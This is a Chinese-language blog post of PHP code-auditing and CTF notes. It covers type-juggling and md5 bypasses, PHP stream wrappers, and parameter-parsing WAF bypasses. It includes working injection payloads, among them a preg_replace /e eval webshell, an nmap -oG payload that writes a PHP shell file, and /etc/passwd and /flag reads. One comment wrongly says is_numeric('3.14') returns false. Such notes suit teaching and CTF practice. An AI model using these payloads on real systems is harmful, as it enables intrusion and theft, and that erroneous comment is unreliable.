Skip to main content
  1. Posts/
  2. sec/

php代码审计

·1019 words·5 mins· loading
PHP
bu44er
Author
bu44er
Table of Contents

常见函数
#

is_numeric()
#

判断是否为数字

$var1 = 123;
$var2 = "3.14";
$var3 = "abc";
$var4 = "123abc";

echo is_numeric($var1);  // 输出:1(true)
echo is_numeric($var2);  // 输出:0(false)
echo is_numeric($var3);  // 输出:0(false)
echo is_numeric($var4);  // 输出:0(false)

intval()
#

字符串转换成十进制整数

echo intval("123");        // 输出: 123
echo intval("+123");       // 输出: 123
echo intval("123.45");     // 输出: 123
echo intval("123abc");     // 输出: 123
echo intval("abc123");     // 输出: 0
echo intval("12.3abc45");  // 输出: 12
  • 如果字符串以数字开头,则为开头的数字
  • 如果字符串以非数字开头,则为0

PHP5 的 intval 不识别科学计数
#

if(intval($num) < 2020 && intval($num + 1) > 2021) {}

payload: ?num=100e2

在PHP5中, intval 不识别科学计数,遇到 e 直接结束,intval("100e2") 会被识别成 100

  • 后续版本中,科学计数字符串转数字时会被自动识别成相应数字
echo intval(1e10); // 10000000000 
echo intval('1e10'); // 10000000000

base 参数
#

int intval ( mixed $var [, int $base = 10 ] )

如果有第二个base参数 x,表示把第一个字符串参数看成x进制。

如果 base参数 = 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

show_source()
#

显示指定文件的源代码


var_dump()
#

打印变量的详细信息,包括变量的类型和值


scandir()
#

获取指定目录

  • scandir(/) 获取根目录

chr()
#

将 ASCII 码转换为对应的字符

  • 可拼接:file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

file_get_contents()
#

获取指定路径的文件的内容


eval()
#

将字符串作为php代码执行

eval()是一个语言构造器,不能被可变函数调用

eval(eval(...)) #错误
eval(assert(eval(...))) #正确

<?php assert(POST['a']) ;> #错误
#由于php版本问题,也不能直接用assert构造一句话,所以只能采用eval(assert(eval(...)))

sizeof
#

返回数组长度


preg_match
#

  • [[../../../编程语言/正则表达式]]
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。

/e 模式
#

preg_replace /e 模式下存在 RCE,php 7 被删除

实战
#

注入环境:

preg_replace( '/(' . $key . ')/ei', 'strtolower("\\1")', $value );
  • key、value 是 GET 传入的键值对
  • /ei 表示替换内容当作 php 执行

payload1:

 ?\S*=${phpinfo()}
  • \S 利用 GET 上传的非法字符解析原理,解析成 .
  • .* 是 key,${phpinfo()} 是 value
  • .* 贪婪匹配任意字符任意次,匹配 ${phpinfo()}
  • php 执行 strtolower("{${phpinfo()}}")
  • 原理如下

payload2:

?\S*=${eval($_POST[cmd])}
// 再 POST 一个参数 cmd=system("cat /flag");

// 或者解析一个题目给出的可以利用的函数
// function getFlag(){
//   	@eval($_GET['cmd']);
// }
?\S*=${getFlag()}&cmd=system("ls");

原理
#

var_dump(phpinfo()); // 结果:布尔 true

var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
// 先执行 phpinfo 得到返回值是 1,再 strtolower("1") 返回值是 1 

var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
// 先解析 {${phpinfo()}},其中 phpinfo 返回 1, 解析得 {$1}
// var_dump(preg_replace('/(.*)/i','1','任意字符')); 返回 11

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''

var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
// 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

php 正则反斜杠过滤问题
#

preg_match 匹配反斜杠需要四个反斜杠:

preg_match("/\\\\/", $str1)
// preg_match("/\\/", $str1) 无效
  • 原理:先由 php 解析器解析成\\ ,再由正则匹配解析成\

再看一个特殊的:

preg_match("/\\|\\\\/", $str2)
  • 这个匹配的是 |\

先由 php 解析器解析为 \|\\ ,再由正则解析为 `|\


技巧
#

读取文件新姿势
#

highlight 高亮输出
#

highlight 高亮输出 + glob 搜索并返回第一个元素

eval("highlight_file(glob("/f*")[0]);")
  • highlight_file 是 php 的函数

无特殊字符的纯函数读取
#

# ls
scandir(current(localeconv()))
# localecnov() 函数返回一个包含本地数字及货币格式信息的数组。相当于Linux的ls
# current() 返回数组中当前元素的值
# scandir()就是列出目录中的文件和目录

# 打印
print_r();
print_r(scandir(current(localeconv())));
# 查看调试信息

# 定位
# array_reverse() 反转数组
# next() 指向下一个 (第二个)
next(array_reverse(scandir(current(localeconv()))))
# 此处指倒数第二个数组元素

# payload
# highlight 读取文件
highlight_file(next(array_reverse(scandir(current(localeconv())))));

弱比较
#

== 是PHP弱比较逻辑运算符

整数 和 字符串 的弱比较
#

尝试将字符串转换为整数,规则同 intval(),再比大小

  • 123a == 123
  • 例如,payload为123a可以绕过 is_numeric函数

弱比较和强比较的区别
#

==  和 !=  左右两边数据类型不同时,会将他们转化成同一格式进行比较。

=== 和 !== 左右两边数据类型不同时,则返回false

科学记数法
#

  • 用于限制数字长度的题

1000000000 = 1e9


绕过md5
#

数组绕过
#

md5无法比较数组,对于数组,md5会返回NULL,所以相等,可以绕过比较

  • 返回null,在强比较里面null=null也为 True,所以也可以绕过强比较

实例
#

<!--
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    //flag
-->

payload:

?a[]=1&b[]=2

# md5($a) == md5($b) returns true

科学计数绕过
#

  • 只能绕过弱比较==,不能绕过===

原理:在 php 中,当字符串以0e开头时,会被 php 识别成==科学计数法==,结果均为0,因此在比较两个以 0e 开头的字符串时,无论后面的字符时是什么,比较结果都为 True。

  • 所以关键在于找到md5值为0e开头的字符串

常用 MD5 值以 0e 开头的字符串:

字符串 MD5 值
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e342768416822451524974117254469
0e215962017 0e291242476940776845150308577824

payload:

?a=QNKCDZO&b=s878926199a

# md5($a) == md5($b) returns true

md5 碰撞
#

找到两个真实的 md5 值一样的字符串绕过对字符串 md5 的强等于条件。

最终找到的两个 md5 值一样的字符串一般是乱码,需要经过 urlencode 再POST给服务器。

  • hackbar 不能直接 post 经过 URL编码之后的数据,必须通过 burp 发包
  • hackbar 直接输入的是原始数据,会在发包的时候经过一次 URL 编码,所以直接在 hackbar 输入 URL 编码之后的数据会再次被 URL 编码,导致出错

收集:

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

哈希长度拓展攻击
#

  • 工具目录:/Users/jz/Code/CTF/tools/attack-scripts/logic

使用工具,攻击者能够根据已知哈希值原始消息长度、结尾需要附加的新数据,计算出原始消息需要附加的完整附加数据以及整个消息的新哈希值

  • 原理:利用填充函数将消息扩展为压缩函数能处理的固定长度的倍数
  • 所以不能仅仅附加需要的数据,只能做到以所要求的数据结尾
  • ==原始消息需要附加的完整附加数据 是 包含结尾需要附加的新数据的更长的字符串==
  • 在原始消息的基础上,不是仅仅附加了需要附加的新数据,是附加了一串更长的数据,需要附加的完整新数据最终可以做到以所要求的新数据结尾,所以整个完整的消息也是以所要求的新数据结尾

判断 php 生成字符串长度
#

$str = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
  • randomb_bytes 生成 16 字节
  • bin2hex 对每个字节生成两个16进制字符 得到32个字符
  • 三个拼接得到96个字符

php字符串解析特性
#

  1. removes initial whitespace
  2. converts some characters to underscore (including whitespace)
USER INPUT DECODED PHP VARIABLE NAME
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

绕过WAF
#

可以在用户输入时,利用字符串解析特性输入变形后的变量,导致php语法中可以正常检测到(传入的get/post)变量,同时,WAF等检测规则(waf等不具有php字符串解析特性)无法识别到相应黑名单/block规则中的变量,形成bypass

实例
#

对于一个存在检测是否是数字的WAF,传入变量为num,可以构造payload:?%20num=phpinfo()

  • %20num 在php语法中,被解析成num变量,进入后续的eval木马中执行相应的注入代码
  • %20num 在WAF检测中,无法被解析成num,故对num的检测没有执行,发生bypass

public、protected、private的区别
#

public 表示全局,类内部外部子类都可以访问;
**private表示私有的,只有本类内部可以使用; ** protected表示受保护的,只有本类或子类或父类中可以访问


魔术方法
#

PHP中把以两个下划线 __ 开头的方法称为魔术方法(Magic methods)

__construct() 当一个对象创建时被调用,反序列化不触发
__destruct()  当一个对象销毁时被调用
__toString()  当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call()      当调用的方法不存在时触发
__invoke()    当一个对象被当作函数调用时触发
__wakeup()    反序列化时自动调用
__get()       类中的属性私有或不存在触发
__set()       类中的属性私有或不存在触发

非法参数名传参
#

当变量名中出现 .空格 时,PHP 会把它们转换成下划线

但是,如果参数中出现中括号[,中括号会被转换成下划线_,接下来如果该参数名中还有非法字符 并不会继续转换成下划线_,忽略后面所有错误。

实例
#

$zj = $_REQUEST['z j.'];

# 传入参数     $zj       实际变量
# ?z j.=1     NULL      z_j_
# ?z[j.=1     NULL      z_j.
  • 当传入 ?z j.=1 时,虽然 $zj 变量仍然是空的,但是存在 $_REQUEST['z_j_']
  • $_GET 会自动对参数调用 urldecode,所以得到的参数键值对的数组中的值都是字符串。

php 伪协议
#

伪协议是一种特殊的协议,用于访问不同的数据源

它们并不是真正的网络协议,而是一种封装协议,使得PHP能够以特定的方式访问和操作数据。 PHP提供了多种伪协议,每种伪协议都有其特定的用途和功能。

file://
#

一般用于访问本地文件

  • 绝对路径、相对路径、网络路径
?file=file:///etc/passswd

?url=/?url=file:///var/www/html/index.php # 访问index.php

php://
#

访问各个输入输出流

常用: php://filter 用于读取源码php://input 用于执行php代码

# base64 输出
php://filter/read=convert.base64-encode/resource=[文件名]
# 适用于 include 读文件

# 在数据流中写入 POST 的数据
php://input

# 读取实例
?cmd=php://filter/read=convert.base64-encode/resource=[文件名]

data://
#

数据流封装器,以传递相应格式的数据。可以用来执行PHP代码。一般需要用到base64编码传输。

?file=data://text/plain,xxxx
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

实例
#

file_get_contents($text,'r')==="welcome to the zjctf"
  • 要求从文件里读取字符串,与 welcome to the zjctf 相等

可以用 data://php:// 协议,将数据流重定向到用户可以控制的输入流

构造 payload:

?text=data://text/plain,welcome to the zjctf
# 相当于 封装了一个虚拟的文件 内容是 welcome to the zjctf

# 或者

?text=php://input 
# 同时 POST数据:welcome to the zjctf

escapeshellarg 和 escapeshellcmd
#

escapeshellarg
#

escapeshellarg 会给没有单引号的字符串加上单引号;对于有单引号的字符串,会先对单引号转义,再以单引号为分割,对各部分的字符串加上单引号。

测试功能:

<?php
    $str1 = "ls";
    $str2 = "ls -al";
    $str3 = "ls'zj";    
    var_dump(escapeshellarg($str1));
    var_dump(escapeshellarg($str2));
    var_dump(escapeshellarg($str3));
?>

结果:

string(4) "'ls'"
string(8) "'ls -al'"
string(10) "'ls'\''zj'"

escapeshellcmd
#

反斜线\ 会在以下字符之前插入:

 &#;`|*?~<>^()[]{}$\   \x0A   \xFF
  • 不成对的引号也会被转义
  • 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

测试:

<?php
    $str1 = "ls";
    $str2 = "ls;";
    $str3 = "';ls;";    
    var_dump(escapeshellcmd($str1));
    var_dump(escapeshellcmd($str2));
    var_dump(escapeshellcmd($str3));
?>

结果:

string(2) "ls"
string(4) "ls\;"
string(8) "\'\;ls\;"

对于 arg + cmd 的参数注入
#

测试:

<?php  
	$str1 = "zj' -l ";
	system(escapeshellcmd("ls --ignore=".escapeshellarg($str1)." /tmp"));  
	echo escapeshellcmd("ls --ignore=".escapeshellarg($str1)." /tmp");  
?>
  • ignore 参数需要 linux 环境

结果:

  • ls --ignore='zj'\\'' -l \' /tmp 可化简 ls --ignore=zj\ -l ' /tmp

当用户输入包含单引号时,先用 escapeshellarg() 处理会给该单引号添加转义符,再用 escapeshellcmd() 处理时会将该添加的转义符再添加一个转义符,从而导致注入内容可以从==shellarg的单引号中逃逸掉==,造成后续可以进一步利用的参数注入漏洞。

  • 如果是先用escapeshellcmd()函数过滤,再用escapeshellarg()函数过滤,则不存在参数注入漏洞

实战: BUUCTF 2018—Online Tool
#

<?php
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

payload:

?host=2.2.2.2'<?php echo `cat /flag`;?> -oG test.php'
  • -oG 是 nmap 的参数,表示写入前一个参数的内容到后一个参数所指明的文件中

变量覆盖
#

例题
#

<?php

include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

payload:

?is=flag&flag=flag

尝试 1. 直接从 echo 输出 2. 从 yds 输出 都不行,被几个 if 条件限制住了,只能从 is 输出。